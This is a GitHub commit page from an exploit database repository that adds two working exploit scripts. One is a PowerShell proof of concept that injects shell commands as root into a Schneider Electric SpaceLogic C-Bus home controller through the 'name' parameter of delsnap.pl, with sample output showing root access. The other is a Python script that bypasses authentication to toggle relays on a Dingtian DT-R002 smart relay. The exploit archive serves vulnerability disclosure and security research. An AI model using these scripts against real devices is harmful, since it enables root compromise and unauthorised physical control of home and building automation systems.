Skip to content
This repository was archived by the owner on Nov 28, 2022. It is now read-only.

Commit dfb2891

Browse files
author
Offensive Security
committed
DB: 2022-07-30
7 changes to exploits/shellcodes Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path rpc.py 0.6.0 - Remote Code Execution (RCE) Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) - Remote Code Execution Geonetwork 4.2.0 - XML External Entity (XXE) Dingtian-DT-R002 3.1.276A - Authentication Bypass Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Directory Traversal WordPress Plugin WP-UserOnline 2.87.6 - Stored Cross-Site Scripting (XSS)
1 parent 7c6e7bc commit dfb2891

File tree

8 files changed

+560
-0
lines changed

8 files changed

+560
-0
lines changed

‎exploits/hardware/remote/50987.ps1‎

Lines changed: 204 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,204 @@
1+
# Exploit Title: Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) - Remote Code Execution
2+
# Exploit Author: LiquidWorm
3+
4+
<#SpaceLogic.ps1
5+
6+
Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) Remote Root Exploit
7+
8+
9+
Vendor: Schneider Electric SE
10+
Product web page: https://www.se.com
11+
https://www.se.com/ww/en/product/5200WHC2/home-controller-spacelogic-cbus-cbus-ip-free-standing-24v-dc/
12+
https://www.se.com/ww/en/product-range/2216-spacelogic-cbus-home-automation-system/?parent-subcategory-id=88010&filter=business-5-residential-and-small-business#software-and-firmware
13+
Affected version: SpaceLogic C-Bus Home Controller (5200WHC2)
14+
formerly known as C-Bus Wiser Home Controller MK2
15+
V1.31.460 and prior
16+
Firmware: 604
17+
18+
Summary: SpaceLogic C-Bus Home Automation System
19+
Lighting control and automation solutions for
20+
buildings of the future, part of SpaceLogic.
21+
SpaceLogic C-Bus is a powerful, fully integrated
22+
system that can control and automate lighting
23+
and many other electrical systems and products.
24+
The SpaceLogic C-Bus system is robust, flexible,
25+
scalable and has proven solutions for buildings
26+
of the future. Implemented for commercial and
27+
residential buildings automation, it brings
28+
control, comfort, efficiency and ease of use
29+
to its occupants.
30+
31+
Wiser Home Control makes technologies in your
32+
home easy by providing seamless control of music,
33+
home theatre, lighting, air conditioning, sprinkler
34+
systems, curtains and shutters, security systems...
35+
you name it. Usable anytime, anywhere even when
36+
you are away, via preset shortcuts or direct
37+
control, in the same look and feel from a wall
38+
switch, a home computer, or even your smartphone
39+
or TV - there is no wiser way to enjoy 24/7
40+
connectivity, comfort and convenience, entertainment
41+
and peace of mind homewide!
42+
43+
The Wiser 2 Home Controller allows you to access
44+
your C-Bus using a graphical user interface, sometimes
45+
referred to as the Wiser 2 UI. The Wiser 2 Home
46+
Controller arrives with a sample project loaded
47+
and the user interface accessible from your local
48+
home network. With certain options set, you can
49+
also access the Wiser 2 UI from anywhere using
50+
the Internet. Using the Wiser 2 Home Controller
51+
you can: control equipment such as IP cameras,
52+
C-Bus devices and non C-Bus wired and wireless
53+
equipment on the home LAN, schedule events in
54+
the home, create and store scenes on-board, customise
55+
a C-Bus system using the on-board Logic Engine,
56+
monitor the home environment including C-Bus and
57+
security systems, control ZigBee products such
58+
as Ulti-ZigBee Dimmer, Relay, Groups and Curtains.
59+
60+
Examples of equipment you might access with Wiser
61+
2 Home Controller include lighting, HVAC, curtains,
62+
cameras, sprinkler systems, power monitoring, Ulti-ZigBee,
63+
multi-room audio and security controls.
64+
65+
Desc: The home automation solution suffers from
66+
an authenticated OS command injection vulnerability.
67+
This can be exploited to inject and execute arbitrary
68+
shell commands as the root user via the 'name' GET
69+
parameter in 'delsnap.pl' Perl/CGI script which is
70+
used for deleting snapshots taken from the webcam.
71+
72+
=========================================================
73+
/www/delsnap.pl:
74+
----------------
75+
76+
01: #!/usr/bin/perl
77+
02: use IO::Handle;
78+
03:
79+
04:
80+
05: select(STDERR);
81+
06: $| = 1;
82+
07: select(STDOUT);
83+
08: $| = 1;
84+
09:
85+
10: #print "\r\n\r\n";
86+
11:
87+
12: $CGITempFile::TMPDIRECTORY = '/mnt/microsd/clipsal/ugen/imgs/';
88+
13: use CGI;
89+
14:
90+
15: my $PROGNAME = "delsnap.pl";
91+
16:
92+
17: my $cgi = new CGI();
93+
18:
94+
19: my $name = $cgi->param('name');
95+
20: if ($name eq "list") {
96+
21: print "\r\n\r\n";
97+
22: print "DATA=";
98+
23: print `ls -C1 /mnt/microsd/clipsal/ugen/imgs/`;
99+
24: exit(0);
100+
25: }
101+
26: if ($name eq "deleteall") {
102+
27: print "\r\n\r\n";
103+
28: print "DELETINGALL=TRUE&";
104+
29: print `rm /mnt/microsd/clipsal/ugen/imgs/*`;
105+
30: print "COMPLETED=true\n";
106+
31: exit(0);
107+
32: }
108+
33: #print "name $name\n";
109+
34: print "\r\n\r\n";
110+
35: my $filename = "/mnt/microsd/clipsal/ugen/imgs/$name";
111+
36:
112+
37: unlink $filename or die "COMPLETED=false\n";
113+
38:
114+
39: print "COMPLETED=true\n";
115+
116+
=========================================================
117+
118+
Tested on: Machine: OMAP3 Wiser2 Board
119+
CPU: ARMv7 revision 2
120+
GNU/Linux 2.6.37 (armv7l)
121+
BusyBox v1.22.1
122+
thttpd/2.25b
123+
Perl v5.20.0
124+
Clipsal 81
125+
Angstrom 2009.X-stable
126+
PICED 4.14.0.100
127+
lighttpd/1.7
128+
GCC 4.4.3
129+
NodeJS v10.15.3
130+
131+
132+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
133+
@zeroscience
134+
135+
136+
Advisory ID: ZSL-2022-5710
137+
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5710.php
138+
139+
Vendor advisory: https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf
140+
141+
CVE ID: CVE-2022-34753
142+
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34753
143+
144+
145+
27.03.2022
146+
147+
#>
148+
149+
150+
$host.UI.RawUI.ForegroundColor = "Green"
151+
if ($($args.Count) -ne 2) {
152+
Write-Host("`nUsage: .\SpaceLogic.ps1 [IP] [CMD]`n")
153+
} else {
154+
$ip = $args[0]
155+
$cmd = $args[1]
156+
$cmdinj = "/delsnap.pl?name=|$cmd"
157+
Write-Host("`nSending command '$cmd' to $ip`n")
158+
#curl -Headers @{Authorization = "Basic XXXX"} -v $ip$cmdinj
159+
curl -v $ip$cmdinj
160+
}
161+
162+
163+
<#PoC
164+
165+
PS C:\> .\SpaceLogic.ps1
166+
167+
Usage: .\SpaceLogic.ps1 [IP] [CMD]
168+
169+
170+
PS C:\> .\SpaceLogic.ps1 192.168.1.2 "uname -a;id;pwd"
171+
172+
Sending command 'uname -a;id;pwd' to 192.168.1.2
173+
174+
VERBOSE: GET http://192.168.1.2/delsnap.pl?name=|uname -a;id;pwd with 0-byte payload
175+
VERBOSE: received 129-byte response of content type text/html; charset=utf-8
176+
177+
178+
StatusCode : 200
179+
StatusDescription : OK
180+
Content : Linux localhost 2.6.37-g4be9a2f-dirty #111 Wed May 21 20:39:38 MYT 2014 armv7l GNU/Linux
181+
uid=0(root) gid=0(root)
182+
/custom-package
183+
184+
RawContent : HTTP/1.1 200 OK
185+
Access-Control-Allow-Origin: *
186+
Connection: keep-alive
187+
Content-Length: 129
188+
Content-Type: text/html; charset=utf-8
189+
Date: Thu, 30 Jun 2022 14:48:43 GMT
190+
ETag: W/"81-LTIWJvYlDBYAlgXEy...
191+
Forms : {}
192+
Headers : {[Access-Control-Allow-Origin, *], [Connection, keep-alive], [Content-Length, 129], [Content-Type, text/html;
193+
charset=utf-8]...}
194+
Images : {}
195+
InputFields : {}
196+
Links : {}
197+
ParsedHtml : mshtml.HTMLDocumentClass
198+
RawContentLength : 129
199+
200+
201+
202+
203+
PS C:\>
204+
#>

‎exploits/hardware/webapps/50984.py‎

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
# Exploit Title: Dingtian-DT-R002 3.1.276A - Authentication Bypass
2+
# Google Dork: NA
3+
# Date: 13th July 2022
4+
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)
5+
# Author Github Page: https://9lyph.github.io/CVE-2022-29593/
6+
# Vendor Homepage: https://www.dingtian-tech.com/en_us/relay4.html
7+
# Software Link: https://www.dingtian-tech.com/en_us/support.html?tab=download
8+
# Version: V3.1.276A
9+
# Tested on: MAC OSX
10+
# CVE : CVE-2022-29593#!/usr/local/bin/python3
11+
# Author: Victor Hanna (SpiderLabs)
12+
# DingTian DT-R002 2CH Smart Relay
13+
# CWE-294 - Authentication Bypass by Capture-replay
14+
15+
import requests
16+
import re
17+
import urllib.parse
18+
from colorama import init
19+
from colorama import Fore, Back, Style
20+
import sys
21+
import os
22+
import time
23+
24+
from urllib3.exceptions import InsecureRequestWarning
25+
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
26+
27+
def banner():
28+
print ("[+]********************************************************************************[+]")
29+
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |")
30+
print ("| Description: DingTian DT-R002 2CH Smart Relay |")
31+
print ("| Usage : "+sys.argv[0]+" <host> <relay#> |")
32+
print ("[+]********************************************************************************[+]")
33+
34+
def main():
35+
os.system('clear')
36+
banner()
37+
urlRelay1On = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
38+
urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
39+
urlRelay2On = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
40+
urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"
41+
42+
headers = {
43+
"Host": ""+host+"",
44+
"User-Agent": "9lyph/3.0",
45+
"Accept": "*/*",
46+
"Accept-Language": "en-US,en;q=0.5",
47+
"Accept-Encoding": "gzip, deflate",
48+
"DNT": "1",
49+
"Connection": "close",
50+
"Referer": "http://"+host+"/relay_cgi.html",
51+
"Cookie": "session=4463009"
52+
}
53+
54+
print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
55+
for i in range(5):
56+
time.sleep (1)
57+
print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
58+
try:
59+
if (relay == "1"):
60+
print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
61+
r = requests.get(urlRelay1On)
62+
time.sleep (5)
63+
print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
64+
r = requests.get(urlRelay1Off)
65+
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
66+
elif (relay == "2"):
67+
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
68+
r = requests.get(urlRelay2On)
69+
time.sleep (5)
70+
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
71+
r = requests.get(urlRelay2Off)
72+
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
73+
else:
74+
print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
75+
except KeyboardInterrupt:
76+
sys.exit(1)
77+
except requests.exceptions.Timeout:
78+
print ("[!] Connection to host timed out !")
79+
sys.exit(1)
80+
except requests.exceptions.Timeout:
81+
print ("[!] Connection to host timed out !")
82+
sys.exit(1)
83+
except Exception as e:
84+
print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)
85+
86+
if __name__ == "__main__":
87+
if len(sys.argv)>2:
88+
host = sys.argv[1]
89+
relay = sys.argv[2]
90+
main ()
91+
else:
92+
print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)

0 commit comments

Comments
 (0)